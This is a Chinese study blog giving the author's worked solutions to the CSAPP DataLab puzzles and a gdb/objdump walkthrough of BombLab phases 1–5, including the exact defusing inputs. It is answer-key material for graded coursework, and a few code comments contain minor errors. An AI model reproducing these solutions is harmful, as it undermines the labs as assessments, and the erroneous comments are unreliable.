CSAPP深入理解计算机系统实验代码

CSAPP-Labs

本文用来记录我的CSAPP实验代码,坚持坚持坚持!

Lab网址:http://csapp.cs.cmu.edu/3e/labs.html , 下载Self-Study Handout

网课:https://www.bilibili.com/video/BV1iW411d7hd

我的代码仓库:https://github.com/Lyb-code/CSAPP-Labs

Lab1 DataLab

1 代码

//1
/* 
 * bitXor - x^y using only ~ and & 
 *   Example: bitXor(4, 5) = 1
 *   Legal ops: ~ &
 *   Max ops: 14
 *   Rating: 1
 */
int bitXor(int x, int y) {
  int z = x & y; // Bit[1, 1] -> 1
  int w = (~x) & (~y); // Bit[0, 0] -> 1
  return (~z) & (~w); // Bit[1, 0], [0, 1] -> 1
}
/* 
 * tmin - return minimum two's complement integer 
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 4
 *   Rating: 1
 */
int tmin(void) {
  int x = (0x80) << 24;
  return x;
}
//2
/*
 * isTmax - returns 1 if x is the maximum, two's complement number,
 *     and 0 otherwise 
 *   Legal ops: ! ~ & ^ | +
 *   Max ops: 10
 *   Rating: 1
 */
int isTmax(int x) { // Tmax + 1 = 0x10000000 = ~Tmax. Remember to exclude the case of x = -1.
  int k = x + 1;
  int m = k ^ (~x);// when x = -1 or Tmax, m = 0
  return (!!k) & !m;
}
/* 
 * allOddBits - return 1 if all odd-numbered bits in word set to 1
 *   where bits are numbered from 0 (least significant) to 31 (most significant)
 *   Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 2
 */
int allOddBits(int x) {
  int k = 0xAA;
  k = (k << 8) | k;
  k = (k << 16) | k;//0xAAAAAAAA
  x = x & k; // remove all even-numbered bits of x
  return ! (x ^ k);
}
/* 
 * negate - return -x 
 *   Example: negate(1) = -1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 5
 *   Rating: 2
 */
int negate(int x) {
  return (~x) + 1;
}
//3
/* 
 * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
 *   Example: isAsciiDigit(0x35) = 1.
 *            isAsciiDigit(0x3a) = 0.
 *            isAsciiDigit(0x05) = 0.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 15
 *   Rating: 3
 */
int isAsciiDigit(int x) {
  int a = (x ^ 0x30) >> 4;
  int b = (x & 0x8) >> 3;
  int c = (x & 0x4) >> 2;
  int d = (x & 0x2) >> 1;
  return ! ((a) | (b & c) | (b & d));// return 1 if a = 0 And b & c = 0 And c & d = 0;
}
/* 
 * conditional - same as x ? y : z 
 *   Example: conditional(2,4,5) = 4
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 16
 *   Rating: 3
 */
int conditional(int x, int y, int z) {
  int a = !x; // [x->a]  0->1, others->0
  a = (a << 1 | a);
  a = (a << 2 | a);
  a = (a << 4 | a);
  a = (a << 8 | a);
  a = (a << 16 | a);
  return ((~a) & y) + (a & z);
}
/* 
 * isLessOrEqual - if x <= y  then return 1, else return 0 
 *   Example: isLessOrEqual(4,5) = 1.
 *   Legal ops: ! ~ & ^ | + << >>
 *   Max ops: 24
 *   Rating: 3
 */
int isLessOrEqual(int x, int y) {
  int k = 0x80 << 24;
  int hbx = x & k; // keep only the highest bit of x
  int hby = y & k; // keep only the highest bit of y
  int hbEqual = !(hbx ^ hby);// if highest bits are equal, return 1
  int z = x + (~y) + 1;// x - y;
  int ans1 = (!hbEqual) & ((hbx >> 31) & 1);// if hbEqual = 0, use hbx to judge to prevent overflow of z.
  int ans2 = hbEqual & (((z >> 31) & 1) | (!(z ^ 0)));
  return ans1 + ans2;
}
//4
/* 
 * logicalNeg - implement the ! operator, using all of 
 *              the legal operators except !
 *   Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
 *   Legal ops: ~ & ^ | + << >>
 *   Max ops: 12
 *   Rating: 4 
 */
int logicalNeg(int x) {
  x = (x >> 16) | x;
  x = (x >> 8) | x;
  x = (x >> 4) | x;
  x = (x >> 2) | x;
  x = (x >> 1) | x;
  return (~x) & 1;
}
/* howManyBits - return the minimum number of bits required to represent x in
 *             two's complement
 *  Examples: howManyBits(12) = 5
 *            howManyBits(298) = 10
 *            howManyBits(-5) = 4
 *            howManyBits(0)  = 1
 *            howManyBits(-1) = 1
 *            howManyBits(0x80000000) = 32
 *  Legal ops: ! ~ & ^ | + << >>
 *  Max ops: 90
 *  Rating: 4
 */
int howManyBits(int x) {
  int b16, b8, b4, b2, b1;
  int sign = x>>31; // all 1 or all 0
  x = ((~sign) & x) | (sign & (~x));// x < 0 --> ~x ; x > 0 --> x;
  b16 = (!!(x >> 16)) << 4;// If the upper 16 bits have 1, at least the lower 16(1<<4) bits are required.
  x = x >> b16;
  b8 = (!!(x >> 8)) << 3;// If the remaning top 8 bits have 1, at least the lower 8(1<<3) bits are required.
  x = x >> b8;
  b4 = (!!(x >> 4)) << 2;// narrow the scope
  x = x >> b4;
  b2 = (!!(x >> 2)) << 1;
  x = x >> b2;
  b1 = (!!(x >> 1));
  x = x >> b1;
  return b16 + b8 + b4 + b2 + b1 + x + 1;
}
//float
/* 
 * floatScale2 - Return bit-level equivalent of expression 2*f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int's, but
 *   they are to be interpreted as the bit-level representation of
 *   single-precision floating point values.
 *   When argument is NaN, return argument
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned floatScale2(unsigned uf) {
  int sign = 0x80000000 & uf;
  int exp = (0x7f800000 & uf) >> 23;
  int frac = 0x7fffff & uf;
  if (exp == 0xff) {// NaN and infinity: do nothing
    
  } else if (exp == 0) {// Denormalized value
    if ((frac >> 22) == 0) {
      frac = frac << 1;
    } else {
      exp = 1;
      frac = (frac << 1) & 0x007fffff;
    }
  } else {//Normalized value
    exp += 1;
  }
  uf = sign | (exp << 23) | frac;
  return uf;
}
/* 
 * floatFloat2Int - Return bit-level equivalent of expression (int) f
 *   for floating point argument f.
 *   Argument is passed as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point value.
 *   Anything out of range (including NaN and infinity) should return
 *   0x80000000u.
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
int floatFloat2Int(unsigned uf) {
  int sign = uf >> 31;
  int exp = (0x7f800000 & uf) >> 23;
  int bias = (1 << 7) - 1;
  int E = 0, ans = 0;
  int frac = 0x7fffff & uf;
  if (exp == 0xff) {// NaN and infinity
    return 0x80000000u;
  } else if (exp == 0) {// Denormalized value
    E = 1 - bias;
  } else {//Normalized value
    E = exp - bias;
    frac |= 0x800000;
  }
  //printf("%d %d \n", E, frac);
  if (E > 30) { // prevent left shift overflow
    return 0x80000000u;
  } else if (E > 23) {
    ans = frac << (E - 23);
  } else if (E > -9) {// prevent the right shift length from being greater than 32
    ans = frac >> (23 - E);
  }
  if (sign) {
    ans = -ans;
  }
  return ans;
}
/* 
 * floatPower2 - Return bit-level equivalent of the expression 2.0^x
 *   (2.0 raised to the power x) for any 32-bit integer x.
 *
 *   The unsigned value that is returned should have the identical bit
 *   representation as the single-precision floating-point number 2.0^x.
 *   If the result is too small to be represented as a denorm, return
 *   0. If too large, return +INF.
 * 
 *   Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while 
 *   Max ops: 30 
 *   Rating: 4
 */
unsigned floatPower2(int x) {
    int bias = 127;
    if (x > 128) {
      return 0x7f800000;
    } else if (x > -150) {
      x += bias;
      if (x >= 0) { // Normalize
        return x << 23;
      } else { // Denormalize
        return 1 << (23 + x);
      }

    } else {
      return 0;
    }
}

在这里插入图片描述

2 代码说明

  • allOddBits构造了一个奇数位全1的掩码 k

  • isAsciiDigit的思路是看形参x是不是"0x3m"的形式,且m处于0到9之间。

    我觉得这样做的推广性不强,当范围变大之后就能难再这样做。CSAPP 之 DataLab详解链接提供了一个更有推广性的解,如下:

    int isAsciiDigit(int x) {
      int sign = 0x1<<31;
      int upperBound = ~(sign|0x39);//加上比0x39大的数后符号由正变负
      int lowerBound = ~0x30;//加上小于等于0x30的值时是负数
      upperBound = sign&(upperBound+x)>>31;  
      lowerBound = sign&(lowerBound+1+x)>>31;
      return !(upperBound|lowerBound);
    }
    
  • conditional的思路是正确的,不过可以更简洁。!!x挺好用的。

    int conditional(int x, int y, int z) {
      x = !!x; // 0->0, others->1
      x = ~x + 1; //0的补码是全0,1的补码是全1	
      return (x & y) + ((~x) & z);
    }
    
  • isLessOrEqual思路:符号不同,正数大;符号相同,看差值符号

  • logicalNeg思路:使用或操作,把所有的1都压缩到第一位。

    可以更简洁,如下。利用了补码的性质:0和tmin(1后面全0)的补码是本身,其余整数的补码是自己的相反数。只有当x为0时,x和其补码的或操作得到的符号位才会是0,其余情况都是1.

    int logicalNeg(int x) {
      return ((x | (~x + 1)) >> 31) & 1 ^ 1;
    }
    
  • howManyBits,卡住我的一题。思路就是找与符号位不同的最高位n,然后用该位数加1得n+1.

    首先,做了个处理,如果x的符号位为0,x不变;否则对x取反。解题目标简化为:找最高的1位的位数n,然后用该位数加1。

    不断地判断x的最高16、8、4、2、1位和最低1位是否有1,用**!!**可以很方便判断二进制数是否含有1。如果最高16位有1,那么最低16位肯定需要,答案加上16,并将x右移16位,查看接下来的最高8位…如果最高16位没有1,那么x不右移,直接看x低16位的最高8位…依次类推。实现是很巧妙的,我开始没想到。

  • floatScale2、floatFloat2Int和floatPower2考察浮点数,做起来比想象的顺利,因为可以用if、while等操作符了。关键是对浮点数的结构有了解,知道Normolize Value和Denormolize Value是啥,可以看看网课或书本,实现起来就能分情况讨论了。具体见代码和注释。

    当位移操作的长度大于等于窗口长度时,得到的移动量为(位移长度%窗口长度),这是看弹幕知道的,看书时可以再验证。Undefined Behavior: Shift amount < 0 or ≥ word size。因此,不要做出移位数量小于0或大于窗口长度的操作。我在floatFloat2Int方法中排除了这两种情况。

  • 其他函数,直接看代码,参考注释即可

3 总结

CMU老师说“任何形式的搜索都是作弊”,因此实验一定要自己做!!!!先找资料、看网课,不到最后一步,不看别人的代码。

除了howManyBits外,所有的问题都是我自己解决的,对位操作、浮点型的表示更加熟悉了,还是不错的。howManyBits实在没有思路了,借鉴了网友的解答。所以,作弊了一小点点(4/36)。

注意实验总结,享受思考总结的过程,多学习优秀的代码。

本次实验耗时:22.5h。

Lab2 BombLab

这次实验的目的是让我们对汇编代码gdb调试更加熟悉,不涉及代码。实验文件只有一个bomb可执行文件和一个bomb.c文件,bomb.c告诉了我们大概的结构:拆炸弹共有六关(其实还有个神秘关),每关都读取输入,传给特定的函数如phase_1(input),传错了就BOOM!!!但这些特定函数的源代码是没有给我们的,我们需要通过反汇编,去理解bomb程序的每一关到底是想干什么。

一些有用的资料

  • Lab说明链接

    http://csapp.cs.cmu.edu/3e/bomblab.pdf

  • gdb参考链接

    http://beej.us/guide/bggdb/

    http://csapp.cs.cmu.edu/3e/docs/gdbnotes-x86-64.pdf 精简,两页pdf命令

  • 寄存器的使用情况,如下图。%rdi存第一个参数,%rsi存第二个参数…%ras存返回值。

在这里插入图片描述

  • 寄存器的结构

在这里插入图片描述

  • 一些技巧

    • 看汇编代码时,一些标准库的函数,比如sccanf,想知道它的返回值、参数等情况、直接查就完事了,看汇编代码太复杂。

    • 严格区分mov命令和lea命令:参考https://www.zhihu.com/question/40720890
      lea 0x8(%ebx), %eax就是将%ebx+8这个值直接赋给%eax,而不是把ebx+8处的内存地址里的数据赋给eax。
      mov 0x8(%ebx), %eax则是把内存地址为%ebx+8处的数据赋给%eax

1 实验步骤

首先在bomb可执行程序的文件夹下用objdump指令,生成一些有用的文件:

  • objdump -d bomb > bombDisassembler.txt 生成bomb可执行程序的汇编代码,并写入到bombDisassembler.txt
  • objdump -t bomb > bombSymbolTable.txt 生成bomb可执行程序的符号表(包括bomb的全局变量的名称和函数的名称及地址),并写入到bombSymbolTable.txt
  • strings bomb > bombstrings.txt 展示bomb可执行程序的 printable strings
1.1 phase1

bit.c:其他阶段的也是这样调用的,读取一个输入,传给阶段函数,解炸弹,继续下一关或bomb!

input = read_line();             /* Get input                   */
phase_1(input);                  /* Run the phase               */
phase_defused();                 /* Drat!  They figured it out!

汇编代码

0000000000400da0 <main>:
  ...
  400e32:	e8 67 06 00 00       	callq  40149e <read_line>
  400e37:	48 89 c7             	mov    %rax,%rdi
  400e3a:	e8 a1 00 00 00       	callq  400ee0 <phase_1>
  400e3f:	e8 80 07 00 00       	callq  4015c4 <phase_defused>
  ...
  
0000000000400ee0 <phase_1>:
  400ee0:	48 83 ec 08          	sub    $0x8,%rsp
  400ee4:	be 00 24 40 00       	mov    $0x402400,%esi
  400ee9:	e8 4a 04 00 00       	callq  401338 <strings_not_equal>
  400eee:	85 c0                	test   %eax,%eax
  400ef0:	74 05                	je     400ef7 <phase_1+0x17>
  400ef2:	e8 43 05 00 00       	callq  40143a <explode_bomb>
  400ef7:	48 83 c4 08          	add    $0x8,%rsp
  400efb:	c3                   	retq   

从上述代码可以看到,main函数将从命令窗口读取的输入从%rax移给了%rdi(第一个参数的寄存器),phase_1函数然后将$0x402400传给了%esi(第二个参数的寄存器的低32位),然后调用strings_not_equal函数,如果结果为0(即字符串相等),则成功,否则爆炸。简言之就是,如果控制台输入等于$0x402400代表的字符串,就通过。问题转化为:$0x402400代表什么字符串?通过gdb调试,可以得出结果,如下:

(gdb) print (char*)0x402400
$1 = 0x402400 "Border relations with Canada have never been better."

第一关的解是"Border relations with Canada have never been better.",不包含引号。

1.2 phase2

汇编代码

0000000000400efc <phase_2>:
  400efc:	55                   	push   %rbp
  400efd:	53                   	push   %rbx
  400efe:	48 83 ec 28          	sub    $0x28,%rsp
  400f02:	48 89 e6             	mov    %rsp,%rsi
  400f05:	e8 52 05 00 00       	callq  40145c <read_six_numbers>
  400f0a:	83 3c 24 01          	cmpl   $0x1,(%rsp)
  400f0e:	74 20                	je     400f30 <phase_2+0x34>
  400f10:	e8 25 05 00 00       	callq  40143a <explode_bomb>
  400f15:	eb 19                	jmp    400f30 <phase_2+0x34>
  400f17:	8b 43 fc             	mov    -0x4(%rbx),%eax
  400f1a:	01 c0                	add    %eax,%eax
  400f1c:	39 03                	cmp    %eax,(%rbx)
  400f1e:	74 05                	je     400f25 <phase_2+0x29>
  400f20:	e8 15 05 00 00       	callq  40143a <explode_bomb>
  400f25:	48 83 c3 04          	add    $0x4,%rbx
  400f29:	48 39 eb             	cmp    %rbp,%rbx
  400f2c:	75 e9                	jne    400f17 <phase_2+0x1b>
  400f2e:	eb 0c                	jmp    400f3c <phase_2+0x40>
  400f30:	48 8d 5c 24 04       	lea    0x4(%rsp),%rbx
  400f35:	48 8d 6c 24 18       	lea    0x18(%rsp),%rbp
  400f3a:	eb db                	jmp    400f17 <phase_2+0x1b>
  400f3c:	48 83 c4 28          	add    $0x28,%rsp
  400f40:	5b                   	pop    %rbx
  400f41:	5d                   	pop    %rbp
  400f42:	c3                   	retq 
  • 从400f05地址的命令callq 40145c <read_six_numbers>猜想(可以stepi验证,里面有个sccanf函数),我们需要传入六个数字,它们满足一定的要求
  • 调用完<read_six_numbers>,我们传入的数字被依次存放在%rsp、%rsp+4、%rsp+8…%rsp+20处。
  • 然后cmpl $0x1,(%rsp),相等则跳到400f30地址,不相等就callq 40143a <explode_bomb>引爆炸弹。说明第一个数字必须是1
  • 从400f30地址开始,lea地址计算得出%rbx = %rsp + 0x4 、%rbp = %rsp + 0x18。然后jmp跳转到400f17地址
  • 从400f17地址到400f1c地址是在拿(%rbx) 和 2 * (%rbx - 4)作比较,括号代表该地址处的数据。如果相等,跳转到400f25地址,否则callq 40143a <explode_bomb>爆炸。从400f25地址到400f2e地址的代码等价于:%rbx += 0x4,比较%rbx 和%rbp,如果不相等,回到400f17地址继续循环,如果相等,跳到400f3c进而结束程序。这说明后一个数字(%rbx - 4)必须是前一个数字(%rbx) 的两倍

第二关的解是 “1 2 4 8 16 32”,不包含引号。

1.3 phase3

汇编代码:

0000000000400f43 <phase_3>:
  400f43:	48 83 ec 18          	sub    $0x18,%rsp
  400f47:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
  400f4c:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
  400f51:	be cf 25 40 00       	mov    $0x4025cf,%esi
  400f56:	b8 00 00 00 00       	mov    $0x0,%eax
  400f5b:	e8 90 fc ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
  400f60:	83 f8 01             	cmp    $0x1,%eax
  400f63:	7f 05                	jg     400f6a <phase_3+0x27>
  400f65:	e8 d0 04 00 00       	callq  40143a <explode_bomb>
  400f6a:	83 7c 24 08 07       	cmpl   $0x7,0x8(%rsp)
  400f6f:	77 3c                	ja     400fad <phase_3+0x6a>
  400f71:	8b 44 24 08          	mov    0x8(%rsp),%eax
  400f75:	ff 24 c5 70 24 40 00 	jmpq   *0x402470(,%rax,8)
  400f7c:	b8 cf 00 00 00       	mov    $0xcf,%eax
  400f81:	eb 3b                	jmp    400fbe <phase_3+0x7b>
  400f83:	b8 c3 02 00 00       	mov    $0x2c3,%eax
  400f88:	eb 34                	jmp    400fbe <phase_3+0x7b>
  400f8a:	b8 00 01 00 00       	mov    $0x100,%eax
  400f8f:	eb 2d                	jmp    400fbe <phase_3+0x7b>
  400f91:	b8 85 01 00 00       	mov    $0x185,%eax
  400f96:	eb 26                	jmp    400fbe <phase_3+0x7b>
  400f98:	b8 ce 00 00 00       	mov    $0xce,%eax
  400f9d:	eb 1f                	jmp    400fbe <phase_3+0x7b>
  400f9f:	b8 aa 02 00 00       	mov    $0x2aa,%eax
  400fa4:	eb 18                	jmp    400fbe <phase_3+0x7b>
  400fa6:	b8 47 01 00 00       	mov    $0x147,%eax
  400fab:	eb 11                	jmp    400fbe <phase_3+0x7b>
  400fad:	e8 88 04 00 00       	callq  40143a <explode_bomb>
  400fb2:	b8 00 00 00 00       	mov    $0x0,%eax
  400fb7:	eb 05                	jmp    400fbe <phase_3+0x7b>
  400fb9:	b8 37 01 00 00       	mov    $0x137,%eax
  400fbe:	3b 44 24 0c          	cmp    0xc(%rsp),%eax
  400fc2:	74 05                	je     400fc9 <phase_3+0x86>
  400fc4:	e8 71 04 00 00       	callq  40143a <explode_bomb>
  400fc9:	48 83 c4 18          	add    $0x18,%rsp
  400fcd:	c3                   	retq   

第三关一上来就有个sccanf函数(400f5b地址),有了第二关的经验,知道是要我们输入一些东西。

400f51地址往%esi寄存器设置了一个值,作为sccanf的第二个参数,把它打印出来:

(gdb) print ((char*)0x4025cf)
$3 = 0x4025cf "%d %d"

这下可以确定,第二关要求我们输入两个整数。(注意:最好输入一些特殊一点的值,那么在调式时,知道代码是拿着哪个值在做比较、计算等,我输入1和234两个数)。输入两个整数后,sscanf返回成功赋值的个数,即%eax = 2,故大于1,将跳转到400f6a地址。

400f6a:	83 7c 24 08 07       	cmpl   $0x7,0x8(%rsp)
400f6f:	77 3c                	ja     400fad <phase_3+0x6a>
400f71:	8b 44 24 08          	mov    0x8(%rsp),%eax
400f75:	ff 24 c5 70 24 40 00 	jmpq   *0x402470(,%rax,8)

以上这四句是本关的难点。首先拿%rsp + 8处的值(打印出来是1,即第一个输入的数)和0x7比较,如果是无符号大于ja,跳转到400fad(调用爆炸函数),否则将%rsp + 8处的值赋给%eax,然后无条件跳转到0x402470 + 8 * %rax处。如果看过网课或书,根据ja和无条件跳转的地址的特征,不难看出这是一个switch语句。并且我们知道了第一个输入值必须处于0到7之间

继续调试setpi,代码来到400fb9地址处。下面这四句就是说,拿%rsp+0xc地址处的值和0x137做比较,相等就跳转进而函数结束,否则爆炸。这好办,先打印出%rsp+0xc地址处的值,通过info r命令,查看出rsp的当前值为0x7fffffffdfa0,然后print *0x7fffffffdfac即可。打出来发现是234,就是我输入的第二个值,因此在第一个输入值是1的情况下,第二个输入值必须是0x137

400fb9:	b8 37 01 00 00       	mov    $0x137,%eax
400fbe:	3b 44 24 0c          	cmp    0xc(%rsp),%eax
400fc2:	74 05                	je     400fc9 <phase_3+0x86>
400fc4:	e8 71 04 00 00       	callq  40143a <explode_bomb>

故,第三关的解是"1 311",不包含引号。

注意,第三关的解不唯一,按照同样的调试流程,我第一个输入值设为4,第二个输入值就必须是0x185,即"4 389"也是可行解。其余的输入值为0-7的情况就不一个个尝试了。

1.4 phase4

汇编代码:

000000000040100c <phase_4>:
  40100c:	48 83 ec 18          	sub    $0x18,%rsp
  401010:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
  401015:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
  40101a:	be cf 25 40 00       	mov    $0x4025cf,%esi
  40101f:	b8 00 00 00 00       	mov    $0x0,%eax
  401024:	e8 c7 fb ff ff       	callq  400bf0 <__isoc99_sscanf@plt>
  401029:	83 f8 02             	cmp    $0x2,%eax
  40102c:	75 07                	jne    401035 <phase_4+0x29>
  40102e:	83 7c 24 08 0e       	cmpl   $0xe,0x8(%rsp)
  401033:	76 05                	jbe    40103a <phase_4+0x2e>
  401035:	e8 00 04 00 00       	callq  40143a <explode_bomb>
  40103a:	ba 0e 00 00 00       	mov    $0xe,%edx# 相当于直接赋值
  40103f:	be 00 00 00 00       	mov    $0x0,%esi
  401044:	8b 7c 24 08          	mov    0x8(%rsp),%edi
  401048:	e8 81 ff ff ff       	callq  400fce <func4>
  40104d:	85 c0                	test   %eax,%eax
  40104f:	75 07                	jne    401058 <phase_4+0x4c>
  401051:	83 7c 24 0c 00       	cmpl   $0x0,0xc(%rsp)
  401056:	74 05                	je     40105d <phase_4+0x51>
  401058:	e8 dd 03 00 00       	callq  40143a <explode_bomb>
  40105d:	48 83 c4 18          	add    $0x18,%rsp
  401061:	c3                   	retq   

同phase3的分析,phase4一上来就用sscanf读取我们的输入:sscanf的第一个参数%rdi为命令窗口的输入、第二个参数%rsi是0x4025cf(phase3打印过,就是"%d %d")、第三个参数%rdx为%rsp+8、第四个参数%rcx为%rsp+c。sscanf会将%rdi的内容,按%rsi的格式,解析出两个整数分别存到%rdx和%rcx对应的内存【Mem[%rsp+8]和Mem[%rsp+c]】中,输出为成功解析的个数、存在%rax中。因此,phase4要求我们输入两个特殊的整数

从地址40102e到401035的命令得出,做无符号比较时、第一个输入值必须小于等于0xe,因此第一个输入值大于等0小于等于14。这样才能jbe跳转到40103a,而不是调用explode_bomb函数。

从地址40103a到401048,先设置参数:第三个参数设置为0xe;第二个参数设置为0x0;第一个参数设置为Mem[%rsp+8],即我们的第一个输入值。然后调用func4

调用fun4结束后,返回40104d地址开始执行,先会判断func4的返回值是否为0:不为0就跳到401058地址爆炸;为0就继续比较Mem[%rsp+c]和0,相等就程序结束,不相等就爆炸。

因此,需要让func4的返回值为0,且调用完func4后Mem[%rsp+c]为0

fun4的汇编代码如下。这是一个递归函数,且不存在对Mem[%rsp+c]的修改,首先可以确定第二个输入值为0。可以根据下列汇编代码,先在草稿纸上写出伪代码再debug,通过伪代码分析知道递归过程中不能出现x > average的情况,这种情况的递归返回结果不可能为0,因为它必然会+1。只有两种情况是符合的:

  • 直接返回。可以发现,当第一个参数%rdi的值为7时(14和0,很自然联想到取个平均),会令%eax为0,并且不进入递归直接返回0
  • 递归过程中x均小于average,最后等于average返回。这种情况下,average随着递归的变化情况如下:7、3、1、0

故第一个参数的可行解为7、3、1、0,即Mem[%rsp+8]为7,第一个输入值为7、3、1、0中的任何一个

0000000000400fce <func4>:# fun4(x, y, z), 初始y = 0, z = 14
  400fce:	48 83 ec 08          	sub    $0x8,%rsp
  400fd2:	89 d0                	mov    %edx,%eax # z
  400fd4:	29 f0                	sub    %esi,%eax # z - y
  400fd6:	89 c1                	mov    %eax,%ecx
  400fd8:	c1 e9 1f             	shr    $0x1f,%ecx # 逻辑右移,得到%ecx符号位
  400fdb:	01 c8                	add    %ecx,%eax # z - y + (z - y < 0 ? 1 : 0)
  400fdd:	d1 f8                	sar    %eax # (z - y + (z - y < 0 ? 1 : 0)) / 2
  400fdf:	8d 0c 30             	lea    (%rax,%rsi,1),%ecx# (z - y + (z - y < 0 ? 1 : 0)) / 2 + y = average(z, y)
  400fe2:	39 f9                	cmp    %edi,%ecx
  400fe4:	7e 0c                	jle    400ff2 <func4+0x24> # average(z, y) <= x 吗
  400fe6:	8d 51 ff             	lea    -0x1(%rcx),%edx
  400fe9:	e8 e0 ff ff ff       	callq  400fce <func4>
  400fee:	01 c0                	add    %eax,%eax
  400ff0:	eb 15                	jmp    401007 <func4+0x39>
  400ff2:	b8 00 00 00 00       	mov    $0x0,%eax
  400ff7:	39 f9                	cmp    %edi,%ecx 
  400ff9:	7d 0c                	jge    401007 <func4+0x39> # average(z, y) >= x 吗
  400ffb:	8d 71 01             	lea    0x1(%rcx),%esi
  400ffe:	e8 cb ff ff ff       	callq  400fce <func4>
  401003:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
  401007:	48 83 c4 08          	add    $0x8,%rsp
  40100b:	c3                   	retq   

伪代码

int fun4(x, y, z) {
    int average = (z - y + ((z - y) < 0 ? 1 : 0)) / 2 + y;
    if (x == average) {
        return 0;
    } else if (x > average) {
        return 2 * fun4(x, average + 1, z) + 1;
    } else {
        return 2 * fun4(x, y, average - 1);
    }
}

第四关的一个解是 “7 0”,不包含引号。第一个值为7、3、1、0中的任何一个都可以

1.5 phase5

汇编代码:

0000000000401062 <phase_5>:
  401062:	53                   	push   %rbx
  401063:	48 83 ec 20          	sub    $0x20,%rsp
  401067:	48 89 fb             	mov    %rdi,%rbx
  40106a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  401071:	00 00 
  401073:	48 89 44 24 18       	mov    %rax,0x18(%rsp)
  401078:	31 c0                	xor    %eax,%eax
  40107a:	e8 9c 02 00 00       	callq  40131b <string_length>
  40107f:	83 f8 06             	cmp    $0x6,%eax
  401082:	74 4e                	je     4010d2 <phase_5+0x70>
  401084:	e8 b1 03 00 00       	callq  40143a <explode_bomb>
  401089:	eb 47                	jmp    4010d2 <phase_5+0x70>
  40108b:	0f b6 0c 03          	movzbl (%rbx,%rax,1),%ecx
  40108f:	88 0c 24             	mov    %cl,(%rsp)
  401092:	48 8b 14 24          	mov    (%rsp),%rdx
  401096:	83 e2 0f             	and    $0xf,%edx
  401099:	0f b6 92 b0 24 40 00 	movzbl 0x4024b0(%rdx),%edx
  4010a0:	88 54 04 10          	mov    %dl,0x10(%rsp,%rax,1)
  4010a4:	48 83 c0 01          	add    $0x1,%rax
  4010a8:	48 83 f8 06          	cmp    $0x6,%rax
  4010ac:	75 dd                	jne    40108b <phase_5+0x29>
  4010ae:	c6 44 24 16 00       	movb   $0x0,0x16(%rsp)# 字符数组0结尾
  4010b3:	be 5e 24 40 00       	mov    $0x40245e,%esi
  4010b8:	48 8d 7c 24 10       	lea    0x10(%rsp),%rdi
  4010bd:	e8 76 02 00 00       	callq  401338 <strings_not_equal>
  4010c2:	85 c0                	test   %eax,%eax
  4010c4:	74 13                	je     4010d9 <phase_5+0x77>
  4010c6:	e8 6f 03 00 00       	callq  40143a <explode_bomb>
  4010cb:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
  4010d0:	eb 07                	jmp    4010d9 <phase_5+0x77>
  4010d2:	b8 00 00 00 00       	mov    $0x0,%eax
  4010d7:	eb b2                	jmp    40108b <phase_5+0x29>
  4010d9:	48 8b 44 24 18       	mov    0x18(%rsp),%rax
  4010de:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax
  4010e5:	00 00 
  4010e7:	74 05                	je     4010ee <phase_5+0x8c>
  4010e9:	e8 42 fa ff ff       	callq  400b30 <__stack_chk_fail@plt>
  4010ee:	48 83 c4 20          	add    $0x20,%rsp
  4010f2:	5b                   	pop    %rbx
  4010f3:	c3                   	retq   

首先,看40106a地址,有个**%fs:0x28**,这是什么?可以把它理解成"从某一内存区域取出来的随机数",它的用处是实现"stack canary",简单来说就是用来防止缓冲区溢出的。401073地址的命令将这个随机数存到了%rsp+24地址。如果我们从%rsp地址开始写入的数据太多,"污染"了%rsp+24地址的数,那么程序在最后拿着%rsp+24地址的数和%fs:0x28随机数进行比较时(上述代码4010de地址到4010e9地址),就会发现两数不相等,从而判断“你写的数据太多啦!”,程序结束,打印错误消息。

从40107a地址到401084地址的命令可以知道,输入字符串的长度为6,然后跳到4010d2。否则爆炸。

从40108b地址到4010ac地址是本关的关键,这一系列命令实现了一个循环

  • 每次从Mem(%rbx+%rax)取出一个字节,其中%rbx是我们输入字符串的开始地址,也就是说每次取出我们输入字符串的一个字符注意:40108b地址的movzbl命令,只移动(%rbx,%rax,1)即Mem(%rbx+%rax)的最低一字节,然后赋给%ecx并对高位填充0。而不是移动所有字节。可以通过gdb的print命令验证。

  • 然后使用与操作,保存该字节的低4位,将结果存到%rdx中。

  • 然后从**0x4024b0(%rdx)**地址取出一个字节,并将它存到Mem(%rsp+%rax+0x10)处。

    问题来了,0x4024b0(%rdx)地址是什么东西?这种形式是典型的访问数组,Mem(0x4024b0+%rdx)。查符号表可以发现0x4024b0地址是一个数组的起始地址,也可以在gdb中把它打印出来,如下。举个例子,%rdx为1时,取出的就是字符’a’。

    (gdb) print (char*)0x4024b0
    $94 = 0x4024b0 <array> "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
    
  • %rax初始为0,循环一次自增一次,直到%rax等于6时退出。

循环退出后,会拿着起始地址为%rsp+0x10的字符串(循环过程写入的字符串)和$0x40245e(打印出来发现是"flyers")作比较,不相等就爆炸,相等就正常运行直至结束。

综上,输入字符串有6个字符,且每个字符的字节表示的低4位分别是9、15、14、5、6、7。查ascii表,找出六个这样的字符即可。

